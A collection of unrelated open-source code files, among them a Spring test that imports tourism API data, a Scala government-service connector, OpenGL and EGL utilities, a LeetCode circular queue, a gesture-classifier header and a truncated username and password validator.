삽입하는 테스트클래스입니다. @RunWith(SpringJUnit4ClassRunner.class) @ContextConfiguration(classes= {RootConfig.class}) public class InsertRoutineTest { @Autowired private AreaBasedData areaBasedData; // 지역기반 정보 호출 @Autowired private CommonDetailData commonDetailData; // 공통정보 호출 @Autowired private DetailData detailData; // 세부정보 호출 @Autowired private TourImageData tourImageData; // 상세이미지 호출 public InsertRoutineTest() { } @Test public void insertNewTourData() { int pageNo=1; XmlString xmlStr = null; Map<String, String> createdTimeUriMap = new HashMap<String, String>(); while(true) { System.out.println("-----------------------pageNo:"+pageNo+"-----------------------"); createdTimeUriMap.put("pageNo", String.valueOf(pageNo)); createdTimeUriMap.put("numOfRows", "50"); createdTimeUriMap.put("listYN", "Y"); createdTimeUriMap.put("arrange", "D"); //D는 생성순 try { Api createdTimeOrder = new Api("areaBasedList", createdTimeUriMap, ServiceKey.TOTAL_SERVICEKEY[7]); //지역기반호출 xmlStr = new XmlString(createdTimeOrder.getResultXmlStr()); List<String> itemList = xmlStr.extractSpecificXmlStr("item"); for (int i = 0; i < itemList.size(); i++) { String itemXmlStr = itemList.get(i); String contentId = XmlString.extractXmlValue("<contentid>", itemXmlStr); String contentTypeId = XmlString.extractXmlValue("<contenttypeid>", itemXmlStr); String createdDay = CalendarUtil.extractDay(XmlString.extractXmlValue("<createdtime>", itemXmlStr)); if (!createdDay.equals(getYesterday(1))) { System.out.println("-----------------------어제 날짜가 아니라 삽입 return합니다. createdDay:"+createdDay+"-----------------------"); return; } // db에 종합적인 데이터 저장(지역기반,공통정보,세부정보,관광지 이미지) areaBasedData.storeSettedData(itemXmlStr); commonDetailData.storeSettedData(itemXmlStr, contentId); detailData.storeSettedData(itemXmlStr, contentId, contentTypeId); tourImageData.storeTourImageData(itemXmlStr, contentId); } pageNo++; } catch (IOException e) { e.printStackTrace(); } } } // 어제 날짜의 day값을 반환한다. private String getYesterday(int minusDay) { Calendar cal = Calendar.getInstance(); int day = cal.get(Calendar.DATE) - minusDay; String strDay = String.valueOf(day); if (strDay.length() == 1) return "0" + strDay; return strDay; } }
uk-gov-mirror/hmrc.for-frontend
app/connectors/HODConnector.scala
<gh_stars>1-10 /* * Copyright 2021 HM Revenue & Customs * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package connectors import com.google.inject.ImplementedBy import controllers.toFut import javax.inject.{Inject, Singleton} import models.FORLoginResponse import models.serviceContracts.submissions.{AddressConnectionTypeYes, AddressConnectionTypeYesChangeAddress} import play.api.Play import play.api.libs.json.{Format, JsValue} import useCases.ReferenceNumber import views.html.helper.urlEncode import scala.concurrent.{ExecutionContext, Future} import uk.gov.hmrc.http.{BadRequestException, HeaderCarrier, HttpReads, HttpResponse, NotFoundException, Upstream4xxResponse} import uk.gov.hmrc.play.bootstrap.config.ServicesConfig @Singleton class DefaultHODConnector @Inject()(config: ServicesConfig, http: ForHttp)(implicit ec: ExecutionContext) extends HODConnector { implicit val f: Format[Document] = Document.formats lazy val serviceUrl = config.baseUrl("for-hod-adapter") lazy val emailUrl = config.baseUrl("email") private def url(path: String) = s"$serviceUrl/for/$path" def readsHack(implicit httpReads: HttpReads[FORLoginResponse]) = { new HttpReads[FORLoginResponse] { override def read(method: String, url: String, response: HttpResponse): FORLoginResponse = { response.status match { case 400 => throw new BadRequestException(response.body) case 401 => throw new Upstream4xxResponse(response.body, 401, 401, response.allHeaders) case _ => httpReads.read(method, url, response) } } } } override def verifyCredentials(ref1: String, ref2: String, postcode: String)(implicit hc: HeaderCarrier): Future[FORLoginResponse] = { val parts = Seq(ref1, ref2, postcode).map(urlEncode) http.GET[FORLoginResponse](url(s"${parts.mkString("/")}/verify"))(readsHack, hc, ec) } override def saveForLater(d: Document)(implicit hc: HeaderCarrier): Future[Unit] = http.PUT(url(s"savedforlater/${d.referenceNumber}"), d) map { _ => () } override def loadSavedDocument(r: ReferenceNumber)(implicit hc: HeaderCarrier): Future[Option[Document]] = { http.GET[Document](url(s"savedforlater/$r")).map(Some.apply).map(splitAddress).map(removeAlterationDescription) recoverWith { case n: NotFoundException => None } } def splitAddress(maybeDocument: Option[Document]): Option[Document] = { val fixedDocument = for { doc <- maybeDocument page1 <- doc.page(1) isAddressCorrect <- page1.fields.get("isAddressCorrect") } yield { if(isAddressCorrect.contains("false")) { updateChangedAddresToNewModel(doc, page1) }else { val page0 = Page(0, form.PageZeroForm.pageZeroForm.fill(AddressConnectionTypeYes).data.mapValues(Seq(_)) ) updateDocWithPageZeroAndRemovePageOne(doc, page0) } } fixedDocument.orElse(maybeDocument) } def updateChangedAddresToNewModel(document: Document, page1: Page): Document = { val page1Data = page1.fields.map { case (key, value) => if(key.startsWith("address.")) { (key.replace("address.", ""), value) }else { (key, value) } }.filterKeys(_ != "isAddressCorrect") val newPage1 = page1.copy(fields = page1Data) val page0 = Page(0, form.PageZeroForm.pageZeroForm.fill(AddressConnectionTypeYesChangeAddress).data.mapValues(Seq(_))) val newPages = Seq(page0, newPage1) ++ (document.pages.filterNot(x => x.pageNumber == 0 || x.pageNumber == 1)) document.copy(pages = newPages) } def updateDocWithPageZeroAndRemovePageOne(document: Document, page0:Page) = { val newPages = page0 +: (document.pages.filterNot(x => x.pageNumber == 0 || x.pageNumber == 1)) document.copy(pages = newPages) } def removeAlterationDescription(maybeDocument: Option[Document]):Option[Document] = { val alternationDescriptionPattern = """^propertyAlterationsDetails\[\d{0,2}\]\.description$""".r val maybeAlteredDocumment = for { document <- maybeDocument page13 <- document.page(13) }yield { val newFields = page13.fields.filterNot(x => alternationDescriptionPattern.unapplySeq(x._1).isDefined ) val newPage13 = page13.copy(fields = newFields) val pages = (newPage13 +: document.pages.filterNot(_.pageNumber == 13)).sortBy(_.pageNumber) document.copy(pages = pages) } maybeAlteredDocumment.orElse(maybeDocument) //Return altered document or original document. } def getSchema(schemaName: String)(implicit hc: HeaderCarrier): Future[JsValue] = { http.GET[JsValue](url(s"schema/$schemaName")) } } @ImplementedBy(classOf[DefaultHODConnector]) trait HODConnector { def verifyCredentials(ref1: String, ref2: String, postcode: String)(implicit hc: HeaderCarrier): Future[FORLoginResponse] def saveForLater(d: Document)(implicit hc: HeaderCarrier): Future[Unit] def loadSavedDocument(r: ReferenceNumber)(implicit hc: HeaderCarrier): Future[Option[Document]] def getSchema(schemaName: String)(implicit hc: HeaderCarrier): Future[JsValue] } object HODConnector { @deprecated def apply(): HODConnector = Play.current.injector.instanceOf[HODConnector] }
indranil32/android-apidemos
app/src/main/java/io/appium/android/apis/graphics/spritetext/Projector.java
<filename>app/src/main/java/io/appium/android/apis/graphics/spritetext/Projector.java /* * Copyright (C) 2007 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package io.appium.android.apis.graphics.spritetext; import android.opengl.Matrix; import javax.microedition.khronos.opengles.GL10; /** * A utility that projects * */ class Projector { public Projector() { mMVP = new float[16]; mV = new float[4]; mGrabber = new MatrixGrabber(); } public void setCurrentView(int x, int y, int width, int height) { mX = x; mY = y; mViewWidth = width; mViewHeight = height; } public void project(float[] obj, int objOffset, float[] win, int winOffset) { if (!mMVPComputed) { Matrix.multiplyMM(mMVP, 0, mGrabber.mProjection, 0, mGrabber.mModelView, 0); mMVPComputed = true; } Matrix.multiplyMV(mV, 0, mMVP, 0, obj, objOffset); float rw = 1.0f / mV[3]; win[winOffset] = mX + mViewWidth * (mV[0] * rw + 1.0f) * 0.5f; win[winOffset + 1] = mY + mViewHeight * (mV[1] * rw + 1.0f) * 0.5f; win[winOffset + 2] = (mV[2] * rw + 1.0f) * 0.5f; } /** * Get the current projection matrix. Has the side-effect of * setting current matrix mode to GL_PROJECTION * @param gl */ public void getCurrentProjection(GL10 gl) { mGrabber.getCurrentProjection(gl); mMVPComputed = false; } /** * Get the current model view matrix. Has the side-effect of * setting current matrix mode to GL_MODELVIEW * @param gl */ public void getCurrentModelView(GL10 gl) { mGrabber.getCurrentModelView(gl); mMVPComputed = false; } private MatrixGrabber mGrabber; private boolean mMVPComputed; private float[] mMVP; private float[] mV; private int mX; private int mY; private int mViewWidth; private int mViewHeight; }
terryky/tiny_gles_tracer
src/apis/egl/eglReleaseTexImage.c
<filename>src/apis/egl/eglReleaseTexImage.c #include <stdio.h> #include "GLEStrace.h" #define eglReleaseTexImage_ \ ((EGLBoolean (*)(EGLDisplay dpy, EGLSurface surface, EGLint buffer)) \ EGL_ENTRY_PTR(eglReleaseTexImage_Idx)) EGLAPI EGLBoolean EGLAPIENTRY eglReleaseTexImage (EGLDisplay dpy, EGLSurface surface, EGLint buffer) { prepare_gles_tracer (); fprintf (g_log_fp, "eglReleaseTexImage(%p, %p, %d);\n", dpy, surface, buffer); if (eglReleaseTexImage_) return eglReleaseTexImage_ (dpy, surface, buffer); else return EGL_FALSE; }
rtatu/loft_app
src/component/General/Loader.js
<filename>src/component/General/Loader.js import React from "react"; import ReactDOM from "react-dom"; import "./loading.sass"; // ripple loading animation const Loading = () => { return ( <div id="loading"> <div className="lds-ripple"> <div></div> <div></div> </div> </div> ); }; class Loader extends React.Component { render() { return this.props.show ? ReactDOM.createPortal(<Loading />, document.body) : null; } } export default Loader;
eddieh/webkit-webinspector
lib/WebInspectorUI/v7/SourceCode.js
/* * Copyright (C) 2013 Apple Inc. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS'' * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF * THE POSSIBILITY OF SUCH DAMAGE. */ WebInspector.SourceCode = function() { WebInspector.Object.call(this); this._pendingContentRequestCallbacks = []; this._originalRevision = new WebInspector.SourceCodeRevision(this, null, false); this._currentRevision = this._originalRevision; this._sourceMaps = null; this._formatterSourceMap = null; }; WebInspector.SourceCode.Event = { ContentDidChange: "source-code-content-did-change", SourceMapAdded: "source-code-source-map-added", FormatterDidChange: "source-code-formatter-did-change" }; WebInspector.SourceCode.prototype = { constructor: WebInspector.SourceCode, // Public get displayName() { // Implemented by subclasses. console.error("Needs to be implemented by a subclass."); return ""; }, get originalRevision() { return this._originalRevision; }, get currentRevision() { return this._currentRevision; }, set currentRevision(revision) { console.assert(revision instanceof WebInspector.SourceCodeRevision); if (!(revision instanceof WebInspector.SourceCodeRevision)) return; console.assert(revision.sourceCode === this); if (revision.sourceCode !== this) return; this._currentRevision = revision; this.dispatchEventToListeners(WebInspector.SourceCode.Event.ContentDidChange); }, get content() { return this._currentRevision.content; }, get contentIsBase64Encoded() { return this._currentRevision.contentIsBase64Encoded; }, get sourceMaps() { return this._sourceMaps || []; }, addSourceMap: function(sourceMap) { console.assert(sourceMap instanceof WebInspector.SourceMap); if (!this._sourceMaps) this._sourceMaps = []; this._sourceMaps.push(sourceMap); this.dispatchEventToListeners(WebInspector.SourceCode.Event.SourceMapAdded); }, get formatterSourceMap() { return this._formatterSourceMap; }, set formatterSourceMap(formatterSourceMap) { console.assert(this._formatterSourceMap === null || formatterSourceMap === null); console.assert(formatterSourceMap === null || formatterSourceMap instanceof WebInspector.FormatterSourceMap); this._formatterSourceMap = formatterSourceMap; this.dispatchEventToListeners(WebInspector.SourceCode.Event.FormatterDidChange); }, requestContent: function(callback) { console.assert(typeof callback === "function"); if (typeof callback !== "function") return; this._pendingContentRequestCallbacks.push(callback); if (this._contentReceived) { // Call _servicePendingContentRequests on a timeout to force callbacks to be asynchronous. if (!this._servicePendingContentRequestsTimeoutIdentifier) this._servicePendingContentRequestsTimeoutIdentifier = setTimeout(this.servicePendingContentRequests.bind(this), 0); } else if (this.canRequestContentFromBackend()) this.requestContentFromBackendIfNeeded(); }, createSourceCodeLocation: function(lineNumber, columnNumber) { return new WebInspector.SourceCodeLocation(this, lineNumber, columnNumber); }, createSourceCodeTextRange: function(textRange) { return new WebInspector.SourceCodeTextRange(this, textRange); }, // Protected revisionContentDidChange: function(revision) { if (this._ignoreRevisionContentDidChangeEvent) return; if (revision !== this._currentRevision) return; this.handleCurrentRevisionContentChange(); this.dispatchEventToListeners(WebInspector.SourceCode.Event.ContentDidChange); }, handleCurrentRevisionContentChange: function() { // Implemented by subclasses if needed. }, get revisionForRequestedContent() { // Implemented by subclasses if needed. return this._originalRevision; }, markContentAsStale: function() { this._contentReceived = false; }, canRequestContentFromBackend: function() { // Implemented by subclasses. console.error("Needs to be implemented by a subclass."); return false; }, requestContentFromBackend: function(callback) { // Implemented by subclasses. console.error("Needs to be implemented by a subclass."); }, requestContentFromBackendIfNeeded: function() { console.assert(this.canRequestContentFromBackend()); if (!this.canRequestContentFromBackend()) return; if (!this._pendingContentRequestCallbacks.length) return; if (this._contentRequestResponsePending) return; this._contentRequestResponsePending = true; if (this.requestContentFromBackend(this._processContent.bind(this))) return; // Since requestContentFromBackend returned false, just call _processContent, // which will cause the pending callbacks to get null content. this._processContent(); }, servicePendingContentRequests: function(force) { if (this._servicePendingContentRequestsTimeoutIdentifier) { clearTimeout(this._servicePendingContentRequestsTimeoutIdentifier); delete this._servicePendingContentRequestsTimeoutIdentifier; } // Force the content requests to be sent. To do this correctly we also force // _contentReceived to be true so future calls to requestContent go through. if (force) this._contentReceived = true; console.assert(this._contentReceived); if (!this._contentReceived) return; // Move the callbacks into a local and clear _pendingContentRequestCallbacks so // callbacks that might call requestContent again will not modify the array. var callbacks = this._pendingContentRequestCallbacks; this._pendingContentRequestCallbacks = []; for (var i = 0; i < callbacks.length; ++i) callbacks[i](this, this.content, this.contentIsBase64Encoded); }, // Private _processContent: function(error, content, base64Encoded) { if (error) console.error(error); this._contentRequestResponsePending = false; this._contentReceived = true; var revision = this.revisionForRequestedContent; this._ignoreRevisionContentDidChangeEvent = true; revision.content = content || null; revision.contentIsBase64Encoded = base64Encoded || false; delete this._ignoreRevisionContentDidChangeEvent; this.servicePendingContentRequests(); } }; WebInspector.SourceCode.prototype.__proto__ = WebInspector.Object.prototype;
NNiazi/Wave-IOS-App
wave/Pods/FirebaseAuth/FirebaseAuth/Sources/Public/FIRGoogleAuthProvider.h
version https://git-lfs.github.com/spec/v1 oid sha256:2583c03568ef7e9ae66a0c8e71ae6e2a6b50bb322aacc8d07213fcb2ef38f756 size 1748
fpdjsns/Algorithm
leetcode/medium/622. Design Circular Queue.cpp
<filename>leetcode/medium/622. Design Circular Queue.cpp /** * problem : https://leetcode.com/problems/design-circular-queue/ * space complexity : O(k) */ class MyCircularQueue { vector<int> q; int left = 0; int right = -1; int cnt = 0; int size = 0; public: MyCircularQueue(int k) { size = k; q = vector<int>(size); cnt = 0; left = 0; right = -1; } bool enQueue(int value) { if(cnt >= size) return false; right = (right + 1) % size; q[right] = value; cnt++; return true; } bool deQueue() { if(cnt <= 0) return false; left = (left + 1) % size; cnt--; return true; } int Front() { if(cnt == 0) return -1; return q[left]; } int Rear() { if(cnt == 0) return -1; return q[right]; } bool isEmpty() { return cnt == 0; } bool isFull() { return cnt == size; } }; /** * Your MyCircularQueue object will be instantiated and called as such: * MyCircularQueue* obj = new MyCircularQueue(k); * bool param_1 = obj->enQueue(value); * bool param_2 = obj->deQueue(); * int param_3 = obj->Front(); * int param_4 = obj->Rear(); * bool param_5 = obj->isEmpty(); * bool param_6 = obj->isFull(); */
humberto-trujillo/Badminton_Shot_Classifier
Classifiers/GRT/ClassificationModules/GMM/GMM.h
/** @file @author <NAME> <<EMAIL>> */ /** GRT MIT License Copyright (c) <2012> <<NAME>, Media Lab, MIT> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #ifndef GRT_GMM_HEADER #define GRT_GMM_HEADER #include "../../CoreModules/Classifier.h" #include "../../ClusteringModules/GaussianMixtureModels/GaussianMixtureModels.h" #include "MixtureModel.h" #define GMM_MIN_SCALE_VALUE 0.0001 #define GMM_MAX_SCALE_VALUE 1.0 GRT_BEGIN_NAMESPACE /** @brief This class implements the Gaussian Mixture Model Classifier algorithm. The Gaussian Mixture Model Classifier (GMM) is basic but useful classification algorithm that can be used to classify an N-dimensional signal. @remark This implementation is based on Duda, <NAME>., and <NAME>. Pattern classification and scene analysis. Vol. 3. New York: Wiley, 1973. @example ClassificationModulesExamples/GMMExample/GMMExample.cpp @note The GMM algorithm can fail to train on some occasions, if this happens just try and run the training algorithm again and it should eventially converge. */ class GRT_API GMM : public Classifier { public: /** Default Constructor. Sets the number of mixture models to use for each model. */ GMM(UINT numMixtureModels = 2,bool useScaling=false,bool useNullRejection=false,Float nullRejectionCoeff=1.0,UINT maxIter=100,Float minChange=1.0e-5); /** Defines the copy constructor. @param rhs: the instance from which all the data will be copied into this instance */ GMM(const GMM &rhs); /** Default destructor. */ virtual ~GMM(void); /** Defines how the data from the rhs GMM should be copied to this GMM @param &rhs: another instance of a GMM @return returns a pointer to this instance of the GMM */ GMM &operator=(const GMM &rhs); /** This is required for the Gesture Recognition Pipeline for when the pipeline.setClassifier method is called. It clones the data from the Base Class GRT::Classifier pointer (which should be pointing to an GMM instance) into this instance @param classifier: a pointer to the GRT::Classifier Base Class, this should be pointing to another GMM instance @return returns true if the clone was successfull, false otherwise */ virtual bool deepCopyFrom(const Classifier *classifier); /** This trains the GMM model, using the labelled classification data. This overrides the train function in the GRT::Classifier base class. The GMM is an unsupervised learning algorithm, it will therefore NOT use any class labels provided @param trainingData: a reference to the training data @return returns true if the GMM model was trained, false otherwise */ virtual bool train_(ClassificationData &trainingData); /** This predicts the class of the inputVector. This overrides the predict function in the GRT::Classifier base class. @param inputVector: the input vector to classify @return returns true if the prediction was performed, false otherwise */ virtual bool predict_(VectorFloat &inputVector); /** This overrides the clear function in the Classifier base class. It will completely clear the ML module, removing any trained model and setting all the base variables to their default values. @return returns true if the module was cleared succesfully, false otherwise */ virtual bool clear(); /** This saves the trained GMM model to a file. This overrides the save function in the GRT::Classifier base class. @param file: a reference to the file the GMM model will be saved to @return returns true if the model was saved successfully, false otherwise */ virtual bool save( std::fstream &file ) const; /** This loads a trained GMM model from a file. This overrides the load function in the GRT::Classifier base class. @param file: a reference to the file the GMM model will be loaded from @return returns true if the model was loaded successfully, false otherwise */ virtual bool load( std::fstream &file ); /** This function recomputes the null rejection thresholds for each model. This overrides the recomputeNullRejectionThresholds function in the GRT::Classifier base class. @return returns true if the nullRejectionThresholds were updated successfully, false otherwise */ virtual bool recomputeNullRejectionThresholds(); /** This function returns the number of mixture models. @return returns the number of mixture models in the GMM */ UINT getNumMixtureModels(); /** This function returns a copy of the MixtureModels estimated during the training phase. Each element in the vector represents a MixtureModel for one class. @return returns a vector of GRT::MixtureModel, an empty vector will be returned if the GRT::GMM has not been trained */ Vector< MixtureModel > getModels(); /** This function sets the number of mixture models used for class. You should call this function before you train the GMM model. The number of mixture models must be greater than 0. @param K: the number of mixture models @return returns true if the number of mixture models was successfully updated, false otherwise */ bool setNumMixtureModels(const UINT K); /** @deprecated use setMaxNumEpochs(const UINT maxNumEpochs) instead This function sets the maxIter parameter which controls when the maximum number of iterations parameter that controls when the GMM train function should stop. MaxIter must be greater than zero. @param maxIter: the new maxIter value @return returns true if the number of maxIter was successfully updated, false otherwise */ GRT_DEPRECATED_MSG( "Use the base class function, setMaxNumEpochs(const UINT maxNumEpochs) instead", bool setMaxIter(UINT maxIter) ); /** Gets a string that represents the GMM class. @return returns a string containing the ID of this class */ static std::string getId(); //Tell the compiler we are using the base class train method to stop hidden virtual function warnings using MLBase::save; using MLBase::load; using MLBase::train_; using MLBase::predict_; protected: Float computeMixtureLikelihood(const VectorFloat &x,UINT k); bool loadLegacyModelFromFile( std::fstream &file ); UINT numMixtureModels; Vector< MixtureModel > models; private: static RegisterClassifierModule< GMM > registerModule; static const std::string id; }; GRT_END_NAMESPACE #endif //GRT_GMM_HEADER
dk-dev/balanced-dashboard
app/lib/file-readers/existing-customer-credit-creator.js
<filename>app/lib/file-readers/existing-customer-credit-creator.js import Customer from "balanced-dashboard/models/customer"; import CreditCreator from "./credit-creator"; import baseValidationsObject from "./base-validations"; import CreditCreatorFields from "./credit-creator-fields"; var ExistingCustomerCreditCreator = CreditCreator.extend({ validations: _.extend({}, baseValidationsObject, { "csvFields.existing_customer_name_or_email": { presence: true, }, customer: { existence: { validator: function(object, attribute, customer) { var matchesLength = object.get("customersCollection.length"); if (matchesLength === 0) { object.get("validationErrors").add("csvFields.existing_customer_name_or_email", "existence", null, "no matching customer found"); } else if (matchesLength > 1) { object.get("validationErrors").add("csvFields.existing_customer_name_or_email", "existence", null, "multiple customers found"); } } } }, bankAccount: { existence: { validator: function(object, attribute, value) { var matchesLength = object.get("customer.bank_accounts.length"); if (matchesLength === 0) { object.get("validationErrors").add("bankAccount", "existence", null, "no bank accounts available"); } else if (matchesLength > 1) { object.get("validationErrors").add("bankAccount", "existence", null, "multiple bank accounts found"); } } } }, }), getErrorObject: function() { return this.getProperties( "existing_customer_name_or_email", "amount", "appears_on_statement_as", "description" ); }, fieldNames: CreditCreatorFields.EXISTING_CUSTOMER_FIELDS, isExisting: true, save: function() { return this.get('credit').save(); }, customer: function() { var collection = this.get("customersCollection"); if (collection) { return collection.get("length") === 1 ? collection.objectAt(0) : null; } return undefined; }.property("customersCollection", "customersCollection.length"), bankAccount: function() { var customer = this.get("customer"); var collection = this.get("customer.bank_accounts"); if (customer === null) { return null; } else if (collection) { return collection.get("length") === 1 ? collection.objectAt(0) : null; } return undefined; }.property("customer", "customer.bank_accounts", "customer.bank_accounts.length") }); ExistingCustomerCreditCreator.reopenClass({ fieldNames: CreditCreatorFields.EXISTING_CUSTOMER_FIELDS, createFromQuery: function(marketplace, attributes) { var creator = this.create({ csvFields: attributes }); var results = Customer.findByNameOrEmail(marketplace, attributes.existing_customer_name_or_email); results.addObserver("isLoaded", function() { creator.set("customersCollection", results); }); creator.addObserver("isLoaded", function() { creator.validate(); }); return creator; } }); export default ExistingCustomerCreditCreator;
changgang/steps
code/steps/header/model/wtg_models/wt_aerodynamic_model/aerdf.h
#ifndef AERDF_H #define AERDF_H #include "header/model/wtg_models/wt_aerodynamic_model/wt_aerodynamic_model.h" #include <cstdlib> class AERDF : public WT_AERODYNAMIC_MODEL { public: AERDF(STEPS& toolkit); AERDF(const AERDF& model); virtual ~AERDF(); virtual AERDF& operator=(const AERDF& model); public: void set_Cp_file(string file); string get_Cp_file() const; public: virtual double get_Cp(double lambda, double pitch_deg) const; virtual double get_derivative_of_Cp_over_lambda(double lambda, double pitch_deg) const; public: virtual string get_model_name() const; virtual bool setup_model_with_steps_string_vector(vector<string>& data); virtual bool setup_model_with_psse_string(string data); virtual bool setup_model_with_bpa_string(string data); virtual void prepare_model_data_table(); virtual void prepare_model_internal_variable_table(); virtual void check(); virtual void clear(); virtual void report(); virtual void save(); virtual string get_standard_psse_string(bool export_internal_bus_number=false) const; virtual double get_model_data_with_name(string par_name) const; virtual void set_model_data_with_name(string par_name, double value); virtual double get_minimum_nonzero_time_constant_in_s(); virtual double get_model_internal_variable_with_name(string var_name); virtual string get_dynamic_data_in_psse_format() const; virtual string get_dynamic_data_in_bpa_format() const; virtual string get_dynamic_data_in_steps_format() const; private: void copy_from_const_model(const AERDF& model); void load_data_from_Cp_file(); void load_pitch_angles(); void load_tip_speed_ratios(); void load_Cp_matrix(); bool is_Cp_point_exist(double pitch, double lambda); // Cp function parameters string *cp_file_name; vector<double> *pitch_angles; vector<double> *tip_speed_ratios; vector<vector<double> > *Cp_Matrix; }; #endif // AERDF_H
kapeels/ohmage-server
src/org/ohmage/validator/UserValidators.java
/******************************************************************************* * Copyright 2012 The Regents of the University of California * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ******************************************************************************/ package org.ohmage.validator; import java.util.HashSet; import java.util.Set; import java.util.regex.Pattern; import org.apache.log4j.Logger; import org.ohmage.annotator.Annotator.ErrorCode; import org.ohmage.domain.User; import org.ohmage.exception.ValidationException; import org.ohmage.request.InputKeys; import org.ohmage.request.user.UserSetupRequest; import org.ohmage.util.StringUtils; /** * Class for validating user information. * * @author <NAME> */ public final class UserValidators { private static final Logger LOGGER = Logger.getLogger(UserValidators.class); // This is the regular expression for the username string. The username // must contain at least alphanumeric character, upper or lower case. It // can then contain any more alphanumeric characters as well as any number // of characters from a set. The total length of the username must be // between 4 and 25 characters, inclusive. private static final String USERNAME_PATTERN_STRING = "^" + // Beginning of the line. "(" + // Beginning of group 1. "?=.*" + // There must be at least 1 of the following, "[" + // Beginning of the definition. "a-z" + // A lower case character. "A-Z" + // An upper case character. "\\d" + // A digit. "]" + // End of the definition. ")" + // End of group 1. "[" + // Beginning of the definition. The username must consist of only // these characters "a-z" + // A lower case, alphabetic character. "A-Z" + // An upper case, alphabetic character. "\\d" + // A digit. "." + // A period. "_" + // An underscore. "@" + // An "at" symbol. "+" + // A plus sign. "\\-" + // A minus sign. "]" + // End of the definition. "{4,25}" + // The total string must be at least 4 characters and no // more than 25 characters. "$"; // End of the line. // A compiled version of the username pattern string for checking a user's // username. private static final Pattern USERNAME_PATTERN = Pattern.compile(USERNAME_PATTERN_STRING); // The description of the username requirements for the user. private static final String USERNAME_REQUIREMENTS = "The username must " + "be between 4 and 25 characters and " + "must contain at least one alphanumeric character. " + "It may also consist of any of these characters " + "'.', " + "'_', " + "'@', " + "'+', " + "'-'."; // The password's only constraint is that it must be at least 8 characters. private static final int MIN_PASSWORD_LENGTH = 8; // A description of the password for the user. private static final String PASSWORD_REQUIREMENTS = "The password must be at least 8 characters."; private static final String HASHED_PASSWORD_PATTERN_STRING = "[\\w\\.\\$\\/]{60}"; private static final Pattern HASHED_PASSWORD_PATTERN = Pattern.compile(HASHED_PASSWORD_PATTERN_STRING); /** * The maximum length of a first name value. */ public static final int MAX_FIRST_NAME_LENGTH = 255; /** * The maximum length of a last name value. */ public static final int MAX_LAST_NAME_LENGTH = 255; /** * The maximum length of the organization value. */ public static final int MAX_ORGANIZATION_LENGTH = 255; /** * The maximum length of the personal ID value. */ public static final int MAX_PERSONAL_ID_LENGTH = 255; /** * Default constructor. Private so that it cannot be instantiated. */ private UserValidators() {} /** * Validates that a given username follows our conventions. If it is null * or whitespace only, null is returned. If it doesn't follow our * conventions, a ValidationException is thrown. Otherwise, the username is * passed back to the caller. * * @param username The username to validate. * * @return Returns null if the username is null or whitespace only. * Otherwise, it returns the username. * * @throws ValidationException Thrown if the username isn't null or * whitespace only and doesn't follow our * conventions. */ public static String validateUsername(final String username) throws ValidationException { LOGGER.info("Validating that the username follows our conventions."); if(StringUtils.isEmptyOrWhitespaceOnly(username)) { return null; } if(USERNAME_PATTERN.matcher(username).matches()) { return username; } else { throw new ValidationException( ErrorCode.USER_INVALID_USERNAME, "The username is invalid. " + USERNAME_REQUIREMENTS); } } /** * Validates that a String representation of a list of usernames is well * formed and that each of the usernames follows our conventions. It then * returns the list of usernames as a List. * * @param usernames A String representation of a list of usernames where * the usernames should be separated by * {@value org.ohmage.request.InputKeys#LIST_ITEM_SEPARATOR}s. * * @return Returns a, possibly empty, List of usernames without 